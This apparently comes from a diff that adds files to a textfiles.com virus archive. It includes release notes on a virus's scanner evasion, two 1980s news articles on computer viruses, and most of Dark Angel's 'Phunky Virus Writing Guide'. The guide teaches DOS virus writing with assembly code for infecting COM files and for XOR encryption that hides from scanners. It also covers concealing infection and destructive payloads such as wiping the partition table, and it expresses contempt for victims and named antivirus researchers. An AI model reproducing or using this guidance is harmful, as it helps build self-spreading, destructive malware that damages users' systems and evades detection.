detecting this virus as 'Trident' which is obviously a complete
screw up since this viruses encryption is not anything like TPE.
Actually, SCANv107 adds 'OFFSpring' to it's list of detectable
viruses. I don't know what version he got , but it doesn't detect
any current version as [OFFS]. Regardless as what it detects as, I
just couldn't live with one of my viruses being detected by his shitass
scanner. So new in this version is:
v0.82 - No longer detectable by SCAN as anything.
No longer detectable by TBAV heuristics.
Type : PSRhA - Parastic & Spawning Resident - Encrypting
Origin : Virogen's Drunken Programming Inc.
Eff. Length : 1134-1184
Infection Method : Once memory resident, the virus infects up to five
files in the current directory everytime a file
is execucted. Anyway, it will first infect EXE files
(spawning) in directory, once all the EXE files have
been infected, it moves to COM files (parastic).
Your Faithful Comrad,
Virogen

186
textfiles.com/virus/p1.txt Normal file
View File

@@ -0,0 +1,186 @@
* <CTRL K> OR <CTRL X> ABORTS <CTRL S> SUSPENDS *
SECURITY EXPERTS ARE AFRAID THAT SABOTEURS COULD
INFECT COMPUTERS WITH A "VIRUS" THAT WOULD REMAIN
LATENT FOR MONTHS OR EVEN YEARS, AND THEN CAUSE
CHAOS.
ATTACK OF THE COMPUTER VIRUS
--------------------------------
BY LEE DEMBART
GERM WARFARE-THE DELIBERATE RELEASE OF DEADLY BACTERIA OR VIRUSES-IS A
PRACTICE SO ABHORRENT THAT IT HAS LONG BEEN OUTLAWED BY INTERNATIONAL TREATY.
YET COMPUTER SCIENTISTS ARE CONFRONTING THE POSSIBILITY THAT SOMETHING AKIN TO
GERM WARFARE COULD BE USED TO DISABLE THEIR LARGEST MACHINES. IN A
CIVILIZATION EVER MORE DEPENDENT ON COMPUTERS, THE RESULTS COULD BE DISASTROUS
-THE SUDDEN SHUTDOWN OF AIR TRAFFIC CONTROL SYSTEMS, FINANCIAL NETWORKS, OR
FACTORIES, FOR EXAMPLE, OR THE WHOLESALE DESTRUCTION OF GOVERNMENT OR BUSINESS
MORE: [Y]ES,(N)O,(NS)NON-STOP? ns
RECORDS.
THE WARNING HAS BEEN RAISED BY A UNIVERSITY OF SOUTHERN CALIFORNIA RESEARCHER
WHO FIRST DESCRIBED THE PROBLEM IN SEPTEMBER, BEFORE TWO CONFERENCES ON
COMPUTER SECURITY. RESEARCH BY GRADUATE STUDENT FRED COHEN, 28, SHOWS THAT IT
IS POSSIBLE TO WRITE A TYPE OF COMPUTER PROGRAM, WHIMSICALLY CALLED A VIRUS,
THAT CAN INFILTRATE AND ATTACK A COMPUTER SYSTEM IN MUCH THE SAME WAY A REAL
VIRUS INFECTS A HUMAN BEING. SLIPPED INTO A COMPUTER BY SOME CLEVER SABOTEUR,
THE VIRUS WOULD SPREAD THROUGHOUT THE SYSTEM WHILE REMAINING HIDDEN FROM IT'S
OPERATORS. THEN, AT SOME TIME MONTHS OR YEARS LATER, THE VIRUS WOULD EMERGE
WITHOUT WARNING TO CRIPPLE OR SHUT DOWN ANY INFECTED MACHINE.
THE POSSIBILITY HAS COMPUTER SECURITY EXPERTS ALARMED BECAUSE, AS COHEN
WARNS, THE PROGRAMMING NECESSARY TO CREATE THE SIMPLEST FORMS OF COMPUTER
VIRUS IS NOT PARTICULARLY DIFFICULT. "VIRAL ATTACKS APPEAR TO BE EASY TO
DEVELOP IN A SHORT TIME," HE TOLD A CONFERENCE CO-SPONSORED BY THE NATIONAL
BUREAU OF STANDARDS AND THE DEPARTMENT OF DEFENSE. "[THEY] CAN BE DESIGNED TO
LEAVE FEW IF ANY TRACES IN MOST CURRENT SYSTEMS, ARE EFFECTIVE AGAINST MODERN
SECURITY POLICIES, AND REQUIRE ONLY MINIMAL EXPERTISE TO IMPLEMENT."
COMPUTER VIRUSES ARE APTLY NAMED; THEY SHARE SEVERAL INSIDIOUS FEATURES WITH
BIOLOGICAL VIRUSES. REAL VIRUSES BURROW INTO LIVING CELLS AND TAKE OVER THEIR
HOSTS' MACHINERY TO MAKE MULTIPLE COPIES OF THEMSELVES. THESE COPIES ESCAPE TO
INFECT OTHER CELLS. USUALLY INFECTED CELLS DIE. A COMPUTER VIRUS IS A TINY
COMPUTER PROGRAM THAT "INFECTS" OTHER PROGRAMS IN MUCH THE SAME WAY. THE VIRUS
ONLY OCCUPIES A FEW HUNDRED BYTES OF MEMORY; A TYPICAL MAINFRAME PROGRAM, BY
CONTRAST, TAKES UP HUNDREDS OF THOUSANDS. THUS, WHEN THE VIRUS IS INSERTED INTO
AN ORDINARY PROGRAM, ITS PRESENCE GOES UNNOTICED BY COMPUTER OPERATORS OR
TECHNICIANS.
THEN, EACH TIME THE "HOST" PROGRAM RUNS, THE COMPUTER AUTOMATICALLY EXECUTES
THE INSTRUCTIONS OF THE VIRUS-JUST AS IF THEY WERE PART OF THE MAIN PROGRAM. A
TYPICAL VIRUS MIGHT CONTAIN THE FOLLOWING INSTRUCTIONS: "FIRST, SUSPEND
EXECUTION OF THE HOST PROGRAM TEMPORARILY. NEXT, SEARCH THE COMPUTER'S MEMORY
FOR OTHER LIKELY HOST PROGRAMS THAT HAVE NOT BEEN ALREADY INFECTED. IF ONE IS
FOUND, INSERT A COPY OF THESE INSTRUCTIONS INTO IT. FINALLY, RETURN CONTROL
OF THE COMPUTER TO THE HOST PROGRAM."
THE ENTIRE SEQUENCE OF STEPS TAKES A HALF A SECOND OR LESS TO COMPLETE, FAST
ENOUGH SO THAT NO ON WILL BE AWARE THAT IT HAS RUN. AND EACH NEWLY INFECTED
HOST PROGRAM HELPS SPREAD THE CONTAGION EACH TIME IT RUNS, SO THAT EVENTUALLY
EVERY PROGRAM IN THE MACHINE IS CONTAMINATED.
THE VIRUS CONTINUES TO SPREAD INDEFINITELY, EVEN INFECTING OTHER COMPUTERS
WHENEVER A CONTAMINATED PROGRAM IN TRANSMITTED TO THEM. THEN, ON A PARTICULAR
DATE OR WHEN CERTAIN PRESET CONDITIONS ARE MET, THE VIRUS AND ALL IT'S CLONES
GO ON THE ATTACK. AFTER THAT, EACH TIME AN INFECTED PROGRAM IS RUN, THE VIRUS
DISRUPTS THE COMPUTER'S OPERATIONS BY DELETING FILES, SCRAMBLING THE MEMORY,
TURNING OFF THE POWER, OR MAKING OTHER MISCHIEF.
THE SABOTEUR NEED NOT BE AROUND TO GIVE THE SIGNAL TO ATTACK. A DISGRUNTLED
EMPLOYEE WHO WAS AFRAID OF GETTING FIRED, FOR EXAMPLE, MIGHT PLOT HIS REVENGE
IN ADVANCE BY ADDING AN INSTRUCTION TO HIS VIRUS THAT CAUSED IT TO REMAIN
DORMANT ONLY SO LONG AS HIS PERSONAL PASSWORD WAS LISTED IN THE SYSTEM. THEN,
SAYS COHEN, "AS SOON AS HE WAS FIRED AND THE PASSWORD WAS REMOVED, NOTHING
WOULD WORK ANY MORE."
THE FACT THAT THE VIRUS REMAINS HIDDEN AT FIRST IS WHAT MAKES IT SO
DANGEROUS. "SUPPOSE YOUR VIRUS ATTACKED BY DELETING FILES IN THE SYSTEM,"
COHEN SAYS. "IF IT STARTED DOING THAT RIGHT AWAY, THEN AS SOON AS YOUR FILES
GOT INFECTED THEY WOULD START TO DISAPPEAR AND YOU'D SAY 'HEY, SOMETHING'S
WRONG HERE.' YOU'D PROBABLY BE ABLE TO IDENTIFY WHOEVER DID IT." TO AVOID
EARLY DETECTION OF THE VIRUS, A CLEVER SABOTEUR MIGHT ADD INSTRUCTIONS TO THE
VIRUS PROGRAM THAT WOULD CAUSE IT TO CHECK THE DATE EACH TIME IT RAN, AND
ATTACK ONLY IF THE DATE WAS IDENTICAL -OR LATER THAN- SOME DATE MONTHS OR
YEARS IN THE FUTURE. "THEN," SAYS COHEN, "ONE DAY, EVERYTHING WOULD STOP. EVEN
IF THEY TRIED TO REPLACE THE INFECTED PROGRAMS WITH PROGRAMS THAT HAD BEEN
STORED ON BACK-UP TAPES, THE BACK-UP COPIES WOULDN'T WORK EITHER - PROVIDED
THE COPIES WERE MADE AFTER THE SYSTEM WAS INFECTED.
THE IDEA OF VIRUS-LIKE PROGRAMS HAS BEEN AROUND SINCE AT LEAST 1975, WHEN THE
SCIENCE FICTION WRITER JOHN BRUNNER INCLUDED ONE IN HIS NOVEL `THE SHOCKWAVE
RIDER'. BRUNNER'S "TAPEWORM" PROGRAM RAN LOOSE THROUGH THE COMPUTER NETWORK,
GOBBLING UP COMPUTER MEMORY IN ORDER TO DUPLICATE ITSELF. "IT CAN'T BE
KILLED," ONE CHARACTER IN THE BOOK EXCLAIMS IN DESPERATION. "IT'S
INDEFINITELY SELF-PERPETUATING AS LONG AS THE NETWORK EXISTS."
IN 1980, JOHN SHOCH AT THE XEROX PALO ALTO RESEARCH CENTER DEVISED A
REAL-LIFE PROGRAM THAT DID SOMEWHAT THE SAME THING. SHOCH'S CREATION, CALLED A
WORM, WRIGGLED THROUGH A LARGE COMPUTER SYSTEM LOOKING FOR MACHINES THAT WERE
NOT BEING USED AND HARNESSING THEM TO HELP SOLVE A LARGE PROBLEM. IT COULD
TAKE OVER AN ENTIRE SYSTEM. MORE RECENTLY, COMPUTER SCIENTISTS HAVE AMUSED
THEMSELVES WITH A GLADIATORIAL COMBAT, CALLED CORE WAR, THAT RESEMBLES A
CONTROLLED VIRAL ATTACK. SCIENTISTS PUT TWO PROGRAMS IN THE SAME COMPUTER,
EACH DESIGNED TO CHASE THE OTHER AROUND THE MEMORY, TRYING TO INFECT AND KILL
THE RIVAL.
INSPIRED BY EARLIER EFFORTS LIKE THESE, COHEN TOOK A SECURITY COURSE LAST
YEAR, AND THEN SET OUT TO TEST WHETHER VIRUSES COULD ACTUALLY DO HARM TO A
COMPUTER SYSTEM. HE GOT PERMISSION TO TRY HIS VIRUS AT USC ON A VAX COMPUTER
WITH A UNIX OPERATING SYSTEM, A COMBINATION USED BY MANY UNIVERSITIES AND
COMPANIES. (AN OPERATING SYSTEM IS THE MOST BASIC LEVEL OF PROGRAMMING IN A
COMPUTER; ALL OTHER PROGRAMS USE THE OPERATING SYSTEM TO ACCOMPLISH BASIC
TASKS LIKE RETRIEVING INFORMATION FROM MEMORY, OR SENDING IT TO A SCREEN.)
IN FIVE TRIAL RUNS, THE VIRUS NEVER TOOK MORE THAN AN HOUR TO PENETRATE THE
ENTIRE SYSTEM. THE SHORTEST TIME TO FULL INFECTION WAS FIVE MINUTES, THE
AVERAGE HALF AN HOUR. IN FACT, THE TRIAL WAS SO SUCCESSFUL THAT UNIVERSITY
OFFICIALS REFUSED TO ALLOW COHEN TO PERFORM FURTHER EXPERIMENTS. COHEN
UNDERSTANDS THEIR CAUTION, BUT CONSIDERS IT SHORTSIGHTED. "THEY'D RATHER BE
PARANOID THAN PROGRESSIVE," HE SAYS. "THEY BELIEVE IN SECURITY THROUGH
OBSCURITY."
COHEN NEXT GOT A CHANCE TO TRY OUT HIS VIRUSES ON A PRIVATELY OWNED UNIVAC
1108. (THE OPERATORS HAVE ASKED THAT THE COMPANY NOT BE IDENTIFIED.) THIS
COMPUTER SYSTEM HAD AN OPERATING SYSTEM DESIGNED FOR MILITARY SECURITY; IT WAS
SUPPOSED TO ALLOW PEOPLE WITH LOW-LEVEL SECURITY CLEARANCE TO SHARE A COMPUTER
WITH PEOPLE WITH HIGH-LEVEL CLEARANCE WITHOUT LEAKAGE OF DATA. BUT THE
RESTRICTIONS AGAINST DATA FLOW DID NOT PREVENT COHEN'S VIRUS FROM SPREADING
THROUGHOUT THE SYSTEM - EVEN THOUGH HE ONLY INFECTED A SINGLE LOW-SECURITY
LEVEL SECURITY USER. HE PROVED THAT MILITARY COMPUTERS, TOO, MAY BE
VULNERABLE, DESPITE THEIR SAFEGUARDS.
THE PROBLEM OF VIRAL SPREAD IS COMPOUNDED BY THE FACT THAT COMPUTER USERS
OFTEN SWAP PROGRAMS WITH EACH OTHER, EITHER BY SHIPPING THEM ON TAPE OR DISK
OR SENDING THEM OVER A TELEPHONE LINE OR THROUGH A COMPUTER NETWORK. THUS, AN
INFECTION THAT ORIGINATES IN ONE COMPUTER COULD EASILY SPREAD TO OTHERS OVER
TIME - A HAZARD THAT MAY BE PARTICULARLY SEVERE FOR THE BANKING INDUSTRY, WHERE
INFORMATION IS CONSTANTLY BEING EXCHANGED BY WIRE. SAYS COHEN, "THE DANGER IS
THAT SOMEBODY WILL WRITE VIRUSES THAT ARE BAD ENOUGH TO GET AROUND THE
FINANCIAL INSTITUTIONS AND STOP THEIR COMPUTERS FROM WORKING."
MANY SECURITY PROFESSIONALS ALSO FIND THIS PROSPECT FRIGHTENING. SAYS JERRY
LOBEL, MANAGER OF COMPUTER SECURITY AT HONEYWELL INFORMATION SYSTEMS IN
PHOENIX, "FRED CAME UP WITH ONE OF THE MORE DEVIOUS KINDS OF PROBLEMS AGAINST
WHICH WE HAVE VERY FEW DEFENSES AT PRESENT." LOBEL, WHO ORGANIZED A RECENT
SECURITY CONFERENCE SPONSORED BY THE INTERNATIONAL FEDERATION FOR INFORMATION
PROCESSING -AT WHICH COHEN ALSO DELIVERED A PAPER- CITES OTHER POTENTIAL
TARGETS FOR ATTACK: "IF IT WERE AN AIR TRAFFIC CONTROL SYSTEM OR A PATIENT
MONITORING SYSTEM IN A HOSPITAL, IT WOULD BE A DISASTER."
MARVIN SCHAEFER, CHIEF SCIENTIST AT THE PENTAGON'S COMPUTER SECURITY CENTER,
SAYS THE MILITARY HAS BEEN CONCERNED ABOUT PENETRATION BY VIRUS-LIKE PROGRAMS
FOR YEARS. DEFENSE PLANNERS HAVE PROTECTED SOME TOP-SECRET COMPUTERS BY
ISOLATING THEM, JUST AS A DOCTOR MIGHT ISOLATE A PATIENT TO KEEP HIM FROM
CATCHING COLD. THE MILITARY'S MOST SECRET COMPUTERS ARE OFTEN KEPT IN
ELECTRONICALLY SHIELDED ROOMS AND CONNECTED TO EACH OTHER, WHEN NECESSARY, BY
WIRES THAT RUN THROUGH PIPES CONTAINING GAS UNDER PRESSURE. SHOULD ANYONE TRY
TO PENETRATE THE PIPES IN ORDER TO TAP INTO THE WIRES, THE DROP IN GAS
PRESSURE WOULD IMMEDIATELY GIVE HIM AWAY. BUT, SCHAEFER ADMITS, "IN SYSTEMS
THAT DON'T HAVE GOOD ACCESS CONTROLS, THERE REALLY IS NO WAY TO CONTAIN A
VIRUS. IT'S QUITE POSSIBLE FOR AN ATTACK TO TAKE OVER A MACHINE."
HONEYWELL'S LOBEL STRONGLY BELIEVES THAT NEITHER COHEN NOR ANY OTHER
RESPONSIBLE EXPERT SHOULD EVEN OPEN A PUBLIC DISCUSSION OF COMPUTER VIRUSES.
"IT ONLY TAKES A HALFWAY DECENT PROGRAMMER ABOUT HALF A DAY OF THINKING TO
FIGURE OUT HOW TO DO IT," LOBEL SAYS. "IF YOU TELL ENOUGH PEOPLE ABOUT IT,
THERE'S GOING TO BE ONE CRAZY ENOUGH OUT THERE WHO'S GOING TO TRY."
COHEN DISAGREES, INSISTING THAT IT IS MORE DANGEROUS `NOT' TO DISCUSS AND
STUDY COMPUTER VIRUSES. "THE POINT OF THESE EXPERIMENTS," HE SAYS, "IS THAT IF
I CAN FIGURE OUT HOW TO DO IT, SOMEBODY ELSE CAN TOO. IT'S BETTER TO HAVE
SOMEBODY FRIENDLY DO THE EXPERIMENT, TELL YOU HOW BAD IT IS, SHOW YOU HOW IT
WORKS AND HELP YOU COUNTERACT IT, THAN TO HAVE SOMEBODY VICIOUS COME ALONG AND
DO IT." IF YOU WAIT FOR THE BAD GUYS TO CREATE A VIRUS FIRST, COHEN SAYS, THEN
BY THE TIME YOU FIND OUT ABOUT IT, IT WILL BE TOO LATE.
11 MINUTES LEFT
BULLETIN # 1 THRU 32, L)IST, PRESS [ENTER] TO CONTINUE?

BIN
textfiles.com/virus/pcblkjck.txt Normal file
View File

Binary file not shown.

58
textfiles.com/virus/peacevir.vir Normal file
View File

@@ -0,0 +1,58 @@
COMPUTER VIRUS HITS AGAIN
A tiny mischievous computer program called a "virus" has popped
up for what experts believe is the first time in retail software,
according to a newspaper report published Tuesday.
The appearance of the virus raises the fear that devilish
programs created by practical jokers or vandals could be used to
destroy computer software sold in stores, according to a story in
the San Jose Mercury News.
The virus found last week in FreeHand, a Macintosh program from
Aldus Corp. in Seattle, consisted of a "message of peace"
designed to appear on Macintosh screens on March 2, the
anniversary of the Apple Macintosh SE and the Macintosh II,
according to the report.
"The time bomb already went off," said Donn Parker, a computer
security specialist at SRI in Menlo Park. Although the brief
pease message was harmless, its appearance alarmed experts who
until now thought viruses were hidden only on software available
on bulletin boards for little or no cost, or on programs shared
by swappers, the newspaper reported.
The "message of peace" virus originated at a Canadian publication
called MacMag and was distributed by many bulletin boards in a
program that purported to be a new listing of products made by
Apple.
The virus was inadvertently passed to Aldus by Marc Canter
president of MacroMind Inc., of Chicago, maker of training disks
for Aldus. Aldus would not disclose how many FreeHand copies are
infected but said a disk duplicating machine copied the infected
disk for three days. Half the infected disks have been
distributed to retail outlets and the rest are in the company's
warehouse.
Canter was on a trip to Canada when he received an infected
program for the Mr. Potato Head game, a computerized version of
the popular toy. Unaware of the infection, Canter ran the
program once and when he used the same computer to work on Aldus
software, the disk headed for Aldus also became infected, he
said.
The computer virus was then inadvertently copied onto disks sold
to customers and infected their computers, he said.
It appears software designed by Lotus Development Corp.,Apple
Computer Inc., of Cupertino; and Ashton-Tate may be infected by
the virus, Canter told the Mercury News.
From the:
San Jose, Associated Press.
Compliments of the
Saginaw Valley Computer Association
Furnished by Nancy Burdick


445
textfiles.com/virus/ph-vir1.txt Normal file
View File

@@ -0,0 +1,445 @@
//==// // // /|| // //==== //==// //| //
// // // // //|| // // // // //|| //
//==// //==// //=|| // // // // // || //
// // // // || // // // // // ||//
// // // // || //==== //==== //==// // ||/
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
DISCLAIMER: The author hereby disclaims himself
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
DEDICATION: This was written to make the lives
of scum such as Patty Hoffman, John McAffee,
and Ross Greenberg a living hell.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
OTHER STUFF: Thanks go to The Shade of Sorrow,
Demogorgon, and Orion Rouge on their comments
(which I occasionally listened to!). Thanks
also to Hellraiser, who gave me an example of
some virus source code (his own, of course).
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Dark Angel's Phunky Virus Writing Guide
---- ------- ------ ----- ------- -----
Virii are wondrous creations written for the sole purpose of spreading and
destroying the systems of unsuspecting fools. This eliminates the systems
of simpletons who can't tell that there is a problem when a 100 byte file
suddenly blossoms into a 1,000 byte file. Duh. These low-lifes do not
deserve to exist, so it is our sacred duty to wipe their hard drives off
the face of the Earth. It is a simple matter of speeding along survival of
the fittest.
Why did I create this guide? After writing several virii, I have noticed
that virus writers generally learn how to write virii either on their own
or by examining the disassembled code of other virii. There is an
incredible lack of information on the subject. Even books published by
morons such as Burger are, at best, sketchy on how to create a virus. This
guide will show you what it takes to write a virus and also will give you a
plethora of source code to include in your own virii.
Virus writing is not as hard as you might first imagine. To write an
effective virus, however, you *must* know assembly language. Short,
compact code are hallmarks of assembly language and these are desirable
characteristics of virii. However, it is *not* necessary to write in pure
assembly. C may also be used, as it allows almost total control of the
system while generating relatively compact code (if you stay away from the
library functions). However, you still must access the interrupts, so
assembly knowledge is still required. However, it is still best to stick
with pure assembly, since most operations are more easily coded in
assembly. If you do not know assembly, I would recommend picking up a copy
of The Microsoft Macro Assembler Bible (Nabajyoti Barkakati, ISBN #: 0-672-
22659-6). It is an easy-to-follow book covering assembly in great detail.
Also get yourself a copy of Undocumented DOS (Schulman, et al, ISBN #0-201-
57064-5), as it is very helpful.
The question of which compiler to use arises often. I suggest using
Borland Turbo Assembler and/or Borland C++. I do not have a copy of
Zortech C (it was too large to download), but I would suspect that it is
also a good choice. Stay away from Microsoft compilers, as they are not as
flexible nor as efficient as those of other vendors.
A few more items round out the list of tools helpful in constructing virii.
The latest version of Norton Utilities is one of the most powerful programs
available, and is immeasurably helpful. MAKE SURE YOU HAVE A COPY! You
can find it on any decent board. It can be used during every step of the
process, from the writing to the testing. A good debugger helps. Memory
management utilities such as MAPMEM, PMAP, and MARK/RELEASE, are
invaluable, especially when coding TSR virii. Sourcer, the commenting
disassembler, is useful when you wish to examine the code of other virii
(this is a good place to get ideas/techniques for your virus).
Now that you have your tools, you are ready to create a work of art
designed to smash the systems of cretins. There are three types of virii:
1) Tiny virii (under 500 bytes) which are designed to be undetectable
due to their small size. TINY is one such virus. They are
generally very simple because their code length is so limited.
2) Large virii (over 1,500 bytes) which are designed to be
undetectable because they cover their tracks very well (all that
code DOES have a use!). The best example of this is the Whale
virus, which is perhaps the best 'Stealth' virus in existence.
3) Other virii which are not designed to be hidden at all (the writers
don't give a shit). The common virus is like this. All
overwriting virii are in this category.
You must decide which kind of virus you wish to write. I will mostly be
discussing the second type (Stealth virii). However, many of the
techniques discribed may be easily applied to the first type (tiny virii).
However, tiny virii generally do not have many of the "features" of larger
virii, such as directory traversal. The third type is more of a
replicating trojan-type, and will warrant a brief (very, very brief!)
discussion later.
A virus may be divided into three parts: the replicator, the concealer, and
the bomb. The replicator part controls the spread of the virus to other
files, the concealer keeps the virus from being detected, and the bomb only
executes when the activation conditions of the virus (more on that later)
are satisfied.
-=-=-=-=-=-=-=-
THE REPLICATOR
-=-=-=-=-=-=-=-
The job of the replicator is to spread the virus throughout the system of
the clod who has caught the virus. How does it do this without destroying
the file it infects? The easiest type of replicator infects COM files. It
first saves the first few bytes of the infected file. It then copies a
small portion of its code to the beginning of the file, and the rest to the
end.
+----------------+ +------------+
| P1 | P2 | | V1 | V2 |
+----------------+ +------------+
The uninfected file The virus code
In the diagram, P1 is part 1 of the file, P2 is part 2 of the file, and V1
and V2 are parts 1 and 2 of the virus. Note that the size of P1 should be
the same as the size of V1, but the size of P2 doesn't necessarily have to
be the same size as V2. The virus first saves P1 and copies it to the
either 1) the end of the file or 2) inside the code of the virus. Let's
assume it copies the code to the end of the file. The file now looks like:
+---------------------+
| P1 | P2 | P1 |
+---------------------+
Then, the virus copies the first part of itself to the beginning of the
file.
+---------------------+
| V1 | P2 | P1 |
+---------------------+
Finally, the virus copies the second part of itself to the end of the file.
The final, infected file looks like this:
+-----------------------------+
| V1 | P2 | P1 | V2 |
+-----------------------------+
The question is: What the fuck do V1 and V2 do? V1 transfers control of
the program to V2. The code to do this is simple.
JMP FAR PTR Duh ; Takes four bytes
Duh DW V2_Start ; Takes two bytes
Duh is a far pointer (Segment:Offset) pointing to the first instruction of
V2. Note that the value of Duh must be changed to reflect the length of
the file that is infected. For example, if the original size of the
program is 79 bytes, Duh must be changed so that the instruction at
CS:[155h] is executed. The value of Duh is obtained by adding the length
of V1, the original size of the infected file, and 256 (to account for the
PSP). In this case, V1 = 6 and P1 + P2 = 79, so 6 + 79 + 256 = 341 decimal
(155 hex).
An alternate, albeit more difficult to understand, method follows:
DB 1101001b ; Code for JMP (2 byte-displacement)
Duh DW V2_Start - OFFSET Duh ; 2 byte displacement
This inserts the jump offset directly into the code following the jump
instruction. You could also replace the second line with
DW V2_Start - $
which accomplishes the same task.
V2 contains the rest of the code, i.e. the stuff that does everything else.
The last part of V2 copies P1 over V1 (in memory, not on disk) and then
transfers control to the beginning of the file (in memory). The original
program will then run happily as if nothing happened. The code to do this
is also very simple.
MOV SI, V2_START ; V2_START is a LABEL marking where V2 starts
SUB SI, V1_LENGTH ; Go back to where P1 is stored
MOV DI, 0100h ; All COM files are loaded @ CS:[100h] in memory
MOV CX, V1_LENGTH ; Move CX bytes
REP MOVSB ; DS:[SI] -> ES:[DI]
MOV DI, 0100h
JMP DI
This code assumes that P1 is located just before V2, as in:
P1_Stored_Here:
.
.
.
V2_Start:
It also assumes ES equals CS. If these assumptions are false, change the
code accordingly. Here is an example:
PUSH CS ; Store CS
POP ES ; and move it to ES
; Note MOV ES, CS is not a valid instruction
MOV SI, P1_START ; Move from whereever P1 is stored
MOV DI, 0100h ; to CS:[100h]
MOV CX, V1_LENGTH
REP MOVSB
MOV DI, 0100h
JMP DI
This code first moves CS into ES and then sets the source pointer of MOVSB
to where P1 is located. Remember that this is all taking place in memory,
so you need the OFFSET of P1, not just the physical location in the file.
The offset of P1 is 100h higher than the physical file location, as COM
files are loaded starting from CS:[100h].
So here's a summary of the parts of the virus and location labels:
V1_Start:
JMP FAR PTR Duh
Duh DW V2_Start
V1_End:
P2_Start:
P2_End:
P1_Start:
; First part of the program stored here for future use
P1_End:
V2_Start:
; Real Stuff
V2_End:
V1_Length EQU V1_End - V1_Start
Alternatively, you could store P1 in V2 as follows:
V2_Start:
P1_Start:
P1_End:
V2_End:
That's all there is to infecting a COM file without destroying it! Simple,
no? EXE files, however, are a little tougher to infect without rendering
them inexecutable - I will cover this topic in a later file.
Now let us turn our attention back to the replicator portion of the virus.
The steps are outlined below:
1) Find a file to infect
2) Check if it is already infected
3) If so, go back to 1
4) Infect it
5) If infected enough, quit
6) Otherwise, go back to 1
Finding a file to infect is a simple matter of writing a directory
traversal procedure and issuing FINDFIRST and FINDNEXT calls to find
possible files to infect. Once you find the file, open it and read the
first few bytes. If they are the same as the first few bytes of V1, then
the file is already infected. If the first bytes of V1 are not unique to
your virus, change it so that they are. It is *extremely* important that
your virus doesn't reinfect the same files, since that was how Jerusalem
was first detected. If the file wasn't already infected, then infect it!
Infection should take the following steps:
1) Change the file attributes to nothing.
2) Save the file date/time stamps.
3) Close the file.
4) Open it again in read/write mode.
5) Save P1 and append it to the end of the file.
6) Copy V1 to the beginning, but change the offset which it JMPs to so
it transfers control correctly. See the previous part on infection.
7) Append V2 to the end of the file.
8) Restore file attributes/date/time.
You should keep a counter of the number of files infected during this run.
If the number exceeds, say three, then stop. It is better to infect slowly
then to give yourself away by infecting the entire drive at once.
You must be sure to cover your tracks when you infect a file. Save the
file's original date/time/attributes and restore them when you are
finished. THIS IS VERY IMPORTANT! It takes about 50 to 75 bytes of code,
probably less, to do these few simple things which can do wonders for the
concealment of your program.
I will include code for the directory traversal function, as well as other
parts of the replicator in the next installment of my phunky guide.
-=-=-=-=-
CONCEALER
-=-=-=-=-
This is the part which conceals the program from notice by the everyday
user and virus scanner. The simplest form of concealment is the encryptor.
The code for a simple XOR encryption system follows:
encrypt_val db ?
decrypt:
encrypt:
mov ah, encrypt_val
mov cx, part_to_encrypt_end - part_to_encrypt_start
mov si, part_to_encrypt_start
mov di, si
xor_loop:
lodsb ; DS:[SI] -> AL
xor al, ah
stosb ; AL -> ES:[DI]
loop xor_loop
ret
Note the encryption and decryption procedures are the same. This is due to
the weird nature of XOR. You can CALL these procedures from anywhere in
the program, but make sure you do not call it from a place within the area
to be encrypted, as the program will crash. When writing the virus, set
the encryption value to 0. part_to_encrypt_start and part_to_encrypt_end
sandwich the area you wish to encrypt. Use a CALL decrypt in the beginning
of V2 to unencrypt the file so your program can run. When infecting a
file, first change the encrypt_val, then CALL encrypt, then write V2 to the
end of the file, and CALL decrypt. MAKE SURE THIS PART DOES NOT LIE IN THE
AREA TO BE ENCRYPTED!!!
This is how V2 would look with the concealer:
V2_Start:
Concealer_Start:
.
.
.
Concealer_End:
Replicator_Start:
.
.
.
Replicator_End:
Part_To_Encrypt_Start:
.
.
.
Part_To_Encrypt_End:
V2_End:
Alternatively, you could move parts of the unencrypted stuff between
Part_To_Encrypt_End and V2_End.
The value of encryption is readily apparent. Encryption makes it harder
for virus scanners to locate your virus. It also hides some text strings
located in your program. It is the easiest and shortest way to hide your
virus.
Encryption is only one form of concealment. At least one other virus hooks
into the DOS interrupts and alters the output of DIR so the file sizes
appear normal. Another concealment scheme (for TSR virii) alters DOS so
memory utilities do not detect the virus. Loading the virus in certain
parts of memory allow it to survive warm reboots. There are many stealth
techniques, limited only by the virus writer's imagination.
-=-=-=-=-
THE BOMB
-=-=-=-=-
So now all the boring stuff is over. The nastiness is contained here. The
bomb part of the virus does all the deletion/slowdown/etc which make virii
so annoying. Set some activation conditions of the virus. This can be
anything, ranging from when it's your birthday to when the virus has
infected 100 files. When these conditions are met, then your virus does
the good stuff. Some suggestions of possible bombs:
1) System slowdown - easily handled by trapping an interrupt and
causing a delay when it activates.
2) File deletion - Delete all ZIP files on the drive.
3) Message display - Display a nice message saying something to the
effect of "You are fucked."
4) Killing/Replacing the Partition Table/Boot Sector/FAT of the hard
drive - This is very nasty, as most dimwits cannot fix this.
This is, of course, the fun part of writing a virus, so be original!
-=-=-=-=-=-=-=-
OFFSET PROBLEMS
-=-=-=-=-=-=-=-
There is one caveat regarding calculation of offsets. After you infect a
file, the locations of variables change. You MUST account for this. All
relative offsets can stay the same, but you must add the file size to the
absolute offsets or your program will not work. This is the most tricky
part of writing virii and taking these into account can often greatly
increase the size of a virus. THIS IS VERY IMPORTANT AND YOU SHOULD BE
SURE TO UNDERSTAND THIS BEFORE ATTEMPTING TO WRITE A NONOVERWRITING VIRUS!
If you don't, you'll get fucked over and your virus WILL NOT WORK! One
entire part of the guide will be devoted to this subject.
-=-=-=-
TESTING
-=-=-=-
Testing virii is a dangerous yet essential part of the virus creation
process. This is to make certain that people *will* be hit by the virus
and, hopefully, wiped out. Test thoroughly and make sure it activates
under the conditions. It would be great if everyone had a second computer
to test their virii out, but, of course, this is not the case. So it is
ESSENTIAL that you keep BACKUPS of your files, partition, boot record, and
FAT. Norton is handy in this doing this. Do NOT disregard this advice
(even though I know that you will anyway) because you WILL be hit by your
own virii. When I wrote my first virus, my system was taken down for two
days because I didn't have good backups. Luckily, the virus was not overly
destructive. BACKUPS MAKE SENSE! LEECH A BACKUP PROGRAM FROM YOUR LOCAL
PIRATE BOARD! I find a RamDrive is often helpful in testing virii, as the
damage is not permanent. RamDrives are also useful for testing trojans,
but that is the topic of another file...
